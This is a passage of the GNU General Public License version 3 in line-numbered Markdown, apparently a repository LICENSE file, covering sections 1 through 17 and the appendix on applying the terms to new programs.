require, such as by intimate data communication or 136 | control flow between those subprograms and other parts of the work. 137 | 138 | The Corresponding Source need not include anything that users can regenerate 139 | automatically from other parts of the Corresponding Source. 140 | 141 | The Corresponding Source for a work in source code form is that same work. 142 | 143 | ### 2. Basic Permissions. 144 | 145 | All rights granted under this License are granted for the term of copyright on the 146 | Program, and are irrevocable provided the stated conditions are met. This License 147 | explicitly affirms your unlimited permission to run the unmodified Program. The 148 | output from running a covered work is covered by this License only if the output, 149 | given its content, constitutes a covered work. This License acknowledges your rights 150 | of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not convey, without 153 | conditions so long as your license otherwise remains in force. You may convey covered 154 | works to others for the sole purpose of having them make modifications exclusively 155 | for you, or provide you with facilities for running those works, provided that you 156 | comply with the terms of this License in conveying all material for which you do not 157 | control copyright. Those thus making or running the covered works for you must do so 158 | exclusively on your behalf, under your direction and control, on terms that prohibit 159 | them from making any copies of your copyrighted material outside their relationship 160 | with you. 161 | 162 | Conveying under any other circumstances is permitted solely under the conditions 163 | stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 164 | 165 | ### 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 166 | 167 | No covered work shall be deemed part of an effective technological measure under any 168 | applicable law fulfilling obligations under article 11 of the WIPO copyright treaty 169 | adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention 170 | of such measures. 171 | 172 | When you convey a covered work, you waive any legal power to forbid circumvention of 173 | technological measures to the extent such circumvention is effected by exercising 174 | rights under this License with respect to the covered work, and you disclaim any 175 | intention to limit operation or modification of the work as a means of enforcing, 176 | against the work's users, your or third parties' legal rights to forbid circumvention 177 | of technological measures. 178 | 179 | ### 4. Conveying Verbatim Copies. 180 | 181 | You may convey verbatim copies of the Program's source code as you receive it, in any 182 | medium, provided that you conspicuously and appropriately publish on each copy an 183 | appropriate copyright notice; keep intact all notices stating that this License and 184 | any non-permissive terms added in accord with section 7 apply to the code; keep 185 | intact all notices of the absence of any warranty; and give all recipients a copy of 186 | this License along with the Program. 187 | 188 | You may charge any price or no price for each copy that you convey, and you may offer 189 | support or warranty protection for a fee. 190 | 191 | ### 5. Conveying Modified Source Versions. 192 | 193 | You may convey a work based on the Program, or the modifications to produce it from 194 | the Program, in the form of source code under the terms of section 4, provided that 195 | you also meet all of these conditions: 196 | 197 | * **a)** The work must carry prominent notices stating that you modified it, and giving a 198 | relevant date. 199 | * **b)** The work must carry prominent notices stating that it is released under this 200 | License and any conditions added under section 7. This requirement modifies the 201 | requirement in section 4 to “keep intact all notices”. 202 | * **c)** You must license the entire work, as a whole, under this License to anyone who 203 | comes into possession of a copy. This License will therefore apply, along with any 204 | applicable section 7 additional terms, to the whole of the work, and all its parts, 205 | regardless of how they are packaged. This License gives no permission to license the 206 | work in any other way, but it does not invalidate such permission if you have 207 | separately received it. 208 | * **d)** If the work has interactive user interfaces, each must display Appropriate Legal 209 | Notices; however, if the Program has interactive interfaces that do not display 210 | Appropriate Legal Notices, your work need not make them do so. 211 | 212 | A compilation of a covered work with other separate and independent works, which are 213 | not by their nature extensions of the covered work, and which are not combined with 214 | it such as to form a larger program, in or on a volume of a storage or distribution 215 | medium, is called an “aggregate” if the compilation and its resulting 216 | copyright are not used to limit the access or legal rights of the compilation's users 217 | beyond what the individual works permit. Inclusion of a covered work in an aggregate 218 | does not cause this License to apply to the other parts of the aggregate. 219 | 220 | ### 6. Conveying Non-Source Forms. 221 | 222 | You may convey a covered work in object code form under the terms of sections 4 and 223 | 5, provided that you also convey the machine-readable Corresponding Source under the 224 | terms of this License, in one of these ways: 225 | 226 | * **a)** Convey the object code in, or embodied in, a physical product (including a 227 | physical distribution medium), accompanied by the Corresponding Source fixed on a 228 | durable physical medium customarily used for software interchange. 229 | * **b)** Convey the object code in, or embodied in, a physical product (including a 230 | physical distribution medium), accompanied by a written offer, valid for at least 231 | three years and valid for as long as you offer spare parts or customer support for 232 | that product model, to give anyone who possesses the object code either (1) a copy of 233 | the Corresponding Source for all the software in the product that is covered by this 234 | License, on a durable physical medium customarily used for software interchange, for 235 | a price no more than your reasonable cost of physically performing this conveying of 236 | source, or (2) access to copy the Corresponding Source from a network server at no 237 | charge. 238 | * **c)** Convey individual copies of the object code with a copy of the written offer to 239 | provide the Corresponding Source. This alternative is allowed only occasionally and 240 | noncommercially, and only if you received the object code with such an offer, in 241 | accord with subsection 6b. 242 | * **d)** Convey the object code by offering access from a designated place (gratis or for 243 | a charge), and offer equivalent access to the Corresponding Source in the same way 244 | through the same place at no further charge. You need not require recipients to copy 245 | the Corresponding Source along with the object code. If the place to copy the object 246 | code is a network server, the Corresponding Source may be on a different server 247 | (operated by you or a third party) that supports equivalent copying facilities, 248 | provided you maintain clear directions next to the object code saying where to find 249 | the Corresponding Source. Regardless of what server hosts the Corresponding Source, 250 | you remain obligated to ensure that it is available for as long as needed to satisfy 251 | these requirements. 252 | * **e)** Convey the object code using peer-to-peer transmission, provided you inform 253 | other peers where the object code and Corresponding Source of the work are being 254 | offered to the general public at no charge under subsection 6d. 255 | 256 | A separable portion of the object code, whose source code is excluded from the 257 | Corresponding Source as a System Library, need not be included in conveying the 258 | object code work. 259 | 260 | A “User Product” is either (1) a “consumer product”, which 261 | means any tangible personal property which is normally used for personal, family, or 262 | household purposes, or (2) anything designed or sold for incorporation into a 263 | dwelling. In determining whether a product is a consumer product, doubtful cases 264 | shall be resolved in favor of coverage. For a particular product received by a 265 | particular user, “normally used” refers to a typical or common use of 266 | that class of product, regardless of the status of the particular user or of the way 267 | in which the particular user actually uses, or expects or is expected to use, the 268 | product. A product is a consumer product regardless of whether the product has 269 | substantial commercial, industrial or non-consumer uses, unless such uses represent 270 | the only significant mode of use of the product. 271 | 272 | “Installation Information” for a User Product means any methods, 273 | procedures, authorization keys, or other information required to install and execute 274 | modified versions of a covered work in that User Product from a modified version of 275 | its Corresponding Source. The information must suffice to ensure that the continued 276 | functioning of the modified object code is in no case prevented or interfered with 277 | solely because modification has been made. 278 | 279 | If you convey an object code work under this section in, or with, or specifically for 280 | use in, a User Product, and the conveying occurs as part of a transaction in which 281 | the right of possession and use of the User Product is transferred to the recipient 282 | in perpetuity or for a fixed term (regardless of how the transaction is 283 | characterized), the Corresponding Source conveyed under this section must be 284 | accompanied by the Installation Information. But this requirement does not apply if 285 | neither you nor any third party retains the ability to install modified object code 286 | on the User Product (for example, the work has been installed in ROM). 287 | 288 | The requirement to provide Installation Information does not include a requirement to 289 | continue to provide support service, warranty, or updates for a work that has been 290 | modified or installed by the recipient, or for the User Product in which it has been 291 | modified or installed. Access to a network may be denied when the modification itself 292 | materially and adversely affects the operation of the network or violates the rules 293 | and protocols for communication across the network. 294 | 295 | Corresponding Source conveyed, and Installation Information provided, in accord with 296 | this section must be in a format that is publicly documented (and with an 297 | implementation available to the public in source code form), and must require no 298 | special password or key for unpacking, reading or copying. 299 | 300 | ### 7. Additional Terms. 301 | 302 | “Additional permissions” are terms that supplement the terms of this 303 | License by making exceptions from one or more of its conditions. Additional 304 | permissions that are applicable to the entire Program shall be treated as though they 305 | were included in this License, to the extent that they are valid under applicable 306 | law. If additional permissions apply only to part of the Program, that part may be 307 | used separately under those permissions, but the entire Program remains governed by 308 | this License without regard to the additional permissions. 309 | 310 | When you convey a copy of a covered work, you may at your option remove any 311 | additional permissions from that copy, or from any part of it. (Additional 312 | permissions may be written to require their own removal in certain cases when you 313 | modify the work.) You may place additional permissions on material, added by you to a 314 | covered work, for which you have or can give appropriate copyright permission. 315 | 316 | Notwithstanding any other provision of this License, for material you add to a 317 | covered work, you may (if authorized by the copyright holders of that material) 318 | supplement the terms of this License with terms: 319 | 320 | * **a)** Disclaiming warranty or limiting liability differently from the terms of 321 | sections 15 and 16 of this License; or 322 | * **b)** Requiring preservation of specified reasonable legal notices or author 323 | attributions in that material or in the Appropriate Legal Notices displayed by works 324 | containing it; or 325 | * **c)** Prohibiting misrepresentation of the origin of that material, or requiring that 326 | modified versions of such material be marked in reasonable ways as different from the 327 | original version; or 328 | * **d)** Limiting the use for publicity purposes of names of licensors or authors of the 329 | material; or 330 | * **e)** Declining to grant rights under trademark law for use of some trade names, 331 | trademarks, or service marks; or 332 | * **f)** Requiring indemnification of licensors and authors of that material by anyone 333 | who conveys the material (or modified versions of it) with contractual assumptions of 334 | liability to the recipient, for any liability that these contractual assumptions 335 | directly impose on those licensors and authors. 336 | 337 | All other non-permissive additional terms are considered “further 338 | restrictions” within the meaning of section 10. If the Program as you received 339 | it, or any part of it, contains a notice stating that it is governed by this License 340 | along with a term that is a further restriction, you may remove that term. If a 341 | license document contains a further restriction but permits relicensing or conveying 342 | under this License, you may add to a covered work material governed by the terms of 343 | that license document, provided that the further restriction does not survive such 344 | relicensing or conveying. 345 | 346 | If you add terms to a covered work in accord with this section, you must place, in 347 | the relevant source files, a statement of the additional terms that apply to those 348 | files, or a notice indicating where to find the applicable terms. 349 | 350 | Additional terms, permissive or non-permissive, may be stated in the form of a 351 | separately written license, or stated as exceptions; the above requirements apply 352 | either way. 353 | 354 | ### 8. Termination. 355 | 356 | You may not propagate or modify a covered work except as expressly provided under 357 | this License. Any attempt otherwise to propagate or modify it is void, and will 358 | automatically terminate your rights under this License (including any patent licenses 359 | granted under the third paragraph of section 11). 360 | 361 | However, if you cease all violation of this License, then your license from a 362 | particular copyright holder is reinstated (a) provisionally, unless and until the 363 | copyright holder explicitly and finally terminates your license, and (b) permanently, 364 | if the copyright holder fails to notify you of the violation by some reasonable means 365 | prior to 60 days after the cessation. 366 | 367 | Moreover, your license from a particular copyright holder is reinstated permanently 368 | if the copyright holder notifies you of the violation by some reasonable means, this 369 | is the first time you have received notice of violation of this License (for any 370 | work) from that copyright holder, and you cure the violation prior to 30 days after 371 | your receipt of the notice. 372 | 373 | Termination of your rights under this section does not terminate the licenses of 374 | parties who have received copies or rights from you under this License. If your 375 | rights have been terminated and not permanently reinstated, you do not qualify to 376 | receive new licenses for the same material under section 10. 377 | 378 | ### 9. Acceptance Not Required for Having Copies. 379 | 380 | You are not required to accept this License in order to receive or run a copy of the 381 | Program. Ancillary propagation of a covered work occurring solely as a consequence of 382 | using peer-to-peer transmission to receive a copy likewise does not require 383 | acceptance. However, nothing other than this License grants you permission to 384 | propagate or modify any covered work. These actions infringe copyright if you do not 385 | accept this License. Therefore, by modifying or propagating a covered work, you 386 | indicate your acceptance of this License to do so. 387 | 388 | ### 10. Automatic Licensing of Downstream Recipients. 389 | 390 | Each time you convey a covered work, the recipient automatically receives a license 391 | from the original licensors, to run, modify and propagate that work, subject to this 392 | License. You are not responsible for enforcing compliance by third parties with this 393 | License. 394 | 395 | An “entity transaction” is a transaction transferring control of an 396 | organization, or substantially all assets of one, or subdividing an organization, or 397 | merging organizations. If propagation of a covered work results from an entity 398 | transaction, each party to that transaction who receives a copy of the work also 399 | receives whatever licenses to the work the party's predecessor in interest had or 400 | could give under the previous paragraph, plus a right to possession of the 401 | Corresponding Source of the work from the predecessor in interest, if the predecessor 402 | has it or can get it with reasonable efforts. 403 | 404 | You may not impose any further restrictions on the exercise of the rights granted or 405 | affirmed under this License. For example, you may not impose a license fee, royalty, 406 | or other charge for exercise of rights granted under this License, and you may not 407 | initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging 408 | that any patent claim is infringed by making, using, selling, offering for sale, or 409 | importing the Program or any portion of it. 410 | 411 | ### 11. Patents. 412 | 413 | A “contributor” is a copyright holder who authorizes use under this 414 | License of the Program or a work on which the Program is based. The work thus 415 | licensed is called the contributor's “contributor version”. 416 | 417 | A contributor's “essential patent claims” are all patent claims owned or 418 | controlled by the contributor, whether already acquired or hereafter acquired, that 419 | would be infringed by some manner, permitted by this License, of making, using, or 420 | selling its contributor version, but do not include claims that would be infringed 421 | only as a consequence of further modification of the contributor version. For 422 | purposes of this definition, “control” includes the right to grant patent 423 | sublicenses in a manner consistent with the requirements of this License. 424 | 425 | Each contributor grants you a non-exclusive, worldwide, royalty-free patent license 426 | under the contributor's essential patent claims, to make, use, sell, offer for sale, 427 | import and otherwise run, modify and propagate the contents of its contributor 428 | version. 429 | 430 | In the following three paragraphs, a “patent license” is any express 431 | agreement or commitment, however denominated, not to enforce a patent (such as an 432 | express permission to practice a patent or covenant not to sue for patent 433 | infringement). To “grant” such a patent license to a party means to make 434 | such an agreement or commitment not to enforce a patent against the party. 435 | 436 | If you convey a covered work, knowingly relying on a patent license, and the 437 | Corresponding Source of the work is not available for anyone to copy, free of charge 438 | and under the terms of this License, through a publicly available network server or 439 | other readily accessible means, then you must either (1) cause the Corresponding 440 | Source to be so available, or (2) arrange to deprive yourself of the benefit of the 441 | patent license for this particular work, or (3) arrange, in a manner consistent with 442 | the requirements of this License, to extend the patent license to downstream 443 | recipients. “Knowingly relying” means you have actual knowledge that, but 444 | for the patent license, your conveying the covered work in a country, or your 445 | recipient's use of the covered work in a country, would infringe one or more 446 | identifiable patents in that country that you have reason to believe are valid. 447 | 448 | If, pursuant to or in connection with a single transaction or arrangement, you 449 | convey, or propagate by procuring conveyance of, a covered work, and grant a patent 450 | license to some of the parties receiving the covered work authorizing them to use, 451 | propagate, modify or convey a specific copy of the covered work, then the patent 452 | license you grant is automatically extended to all recipients of the covered work and 453 | works based on it. 454 | 455 | A patent license is “discriminatory” if it does not include within the 456 | scope of its coverage, prohibits the exercise of, or is conditioned on the 457 | non-exercise of one or more of the rights that are specifically granted under this 458 | License. You may not convey a covered work if you are a party to an arrangement with 459 | a third party that is in the business of distributing software, under which you make 460 | payment to the third party based on the extent of your activity of conveying the 461 | work, and under which the third party grants, to any of the parties who would receive 462 | the covered work from you, a discriminatory patent license (a) in connection with 463 | copies of the covered work conveyed by you (or copies made from those copies), or (b) 464 | primarily for and in connection with specific products or compilations that contain 465 | the covered work, unless you entered into that arrangement, or that patent license 466 | was granted, prior to 28 March 2007. 467 | 468 | Nothing in this License shall be construed as excluding or limiting any implied 469 | license or other defenses to infringement that may otherwise be available to you 470 | under applicable patent law. 471 | 472 | ### 12. No Surrender of Others' Freedom. 473 | 474 | If conditions are imposed on you (whether by court order, agreement or otherwise) 475 | that contradict the conditions of this License, they do not excuse you from the 476 | conditions of this License. If you cannot convey a covered work so as to satisfy 477 | simultaneously your obligations under this License and any other pertinent 478 | obligations, then as a consequence you may not convey it at all. For example, if you 479 | agree to terms that obligate you to collect a royalty for further conveying from 480 | those to whom you convey the Program, the only way you could satisfy both those terms 481 | and this License would be to refrain entirely from conveying the Program. 482 | 483 | ### 13. Use with the GNU Affero General Public License. 484 | 485 | Notwithstanding any other provision of this License, you have permission to link or 486 | combine any covered work with a work licensed under version 3 of the GNU Affero 487 | General Public License into a single combined work, and to convey the resulting work. 488 | The terms of this License will continue to apply to the part which is the covered 489 | work, but the special requirements of the GNU Affero General Public License, section 490 | 13, concerning interaction through a network will apply to the combination as such. 491 | 492 | ### 14. Revised Versions of this License. 493 | 494 | The Free Software Foundation may publish revised and/or new versions of the GNU 495 | General Public License from time to time. Such new versions will be similar in spirit 496 | to the present version, but may differ in detail to address new problems or concerns. 497 | 498 | Each version is given a distinguishing version number. If the Program specifies that 499 | a certain numbered version of the GNU General Public License “or any later 500 | version” applies to it, you have the option of following the terms and 501 | conditions either of that numbered version or of any later version published by the 502 | Free Software Foundation. If the Program does not specify a version number of the GNU 503 | General Public License, you may choose any version ever published by the Free 504 | Software Foundation. 505 | 506 | If the Program specifies that a proxy can decide which future versions of the GNU 507 | General Public License can be used, that proxy's public statement of acceptance of a 508 | version permanently authorizes you to choose that version for the Program. 509 | 510 | Later license versions may give you additional or different permissions. However, no 511 | additional obligations are imposed on any author or copyright holder as a result of 512 | your choosing to follow a later version. 513 | 514 | ### 15. Disclaimer of Warranty. 515 | 516 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. 517 | EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 518 | PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER 519 | EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 520 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE 521 | QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE 522 | DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 523 | 524 | ### 16. Limitation of Liability. 525 | 526 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY 527 | COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS 528 | PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, 529 | INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE 530 | PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE 531 | OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE 532 | WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 533 | POSSIBILITY OF SUCH DAMAGES. 534 | 535 | ### 17. Interpretation of Sections 15 and 16. 536 | 537 | If the disclaimer of warranty and limitation of liability provided above cannot be 538 | given local legal effect according to their terms, reviewing courts shall apply local 539 | law that most closely approximates an absolute waiver of all civil liability in 540 | connection with the Program, unless a warranty or assumption of liability accompanies 541 | a copy of the Program in return for a fee. 542 | 543 | END OF TERMS AND CONDITIONS 544 | 545 | ## How to Apply These Terms to Your New Programs 546 | 547 | If you develop a new program, and you want it to be of the greatest possible use to 548 | the public, the best way to achieve this is to make it free software which everyone 549 | can redistribute and change under these terms. 550 | 551 | To do so, attach the following notices to the program. It is safest to attach them 552 | to the start of each source file to most effectively state the exclusion of warranty; 553 | and each file should have at least the “copyright” line and a pointer to 554 | where the full notice is found. 555 | 556 | 557 | Copyright (C) 558 | 559 | This program is free software: you can redistribute it and/or modify 560 | it under the terms of the GNU General Public License as published by 561 | the Free Software Foundation, either version 3 of the License, or 562 | (at your option) any later version. 563 | 564 | This program is distributed in the hope that it will be useful, 565 | but WITHOUT ANY WARRANTY; without even the implied warranty of 566 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 567 | GNU General Public License for more details. 568 | 569 | You should have received a copy of the GNU General Public License 570 | along with this program. If not, see . 571 | 572 | Also add information on how to contact you by electronic and paper mail. 573 | 574 | If the program does terminal interaction, make it output a short notice like this 575 | when it starts in an interactive mode: 576 | 577 | Copyright (C) 578 | This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'. 579 | This is free software, and you are welcome to redistribute it 580 | under certain conditions; type 'show c' for details. 581 | 582 | The hypothetical commands 'show w' and 'show c' should show the appropriate parts of 583 | the General Public License. Of course, your program's commands might be different; 584 | for a GUI interface, you would use an “about box”. 585 | 586 | You should also get your employer (if you work as a programmer) or school, if any, to 587 | sign a “copyright disclaimer” for the program, if necessary. For more 588 | information on this, and how to apply and follow the GNU GPL, see 589 | <>. 590 | 591 | The GNU General Public License does not permit incorporating your program into 592 | proprietary programs. If your program is a subroutine library, you may consider it 593 | more useful to permit linking proprietary applications with the library. If this is 594 | what you want to do, use the GNU Lesser General Public License instead of this 595 | License. But first, please read 596 | <>. --------------------------------------------------------------------------------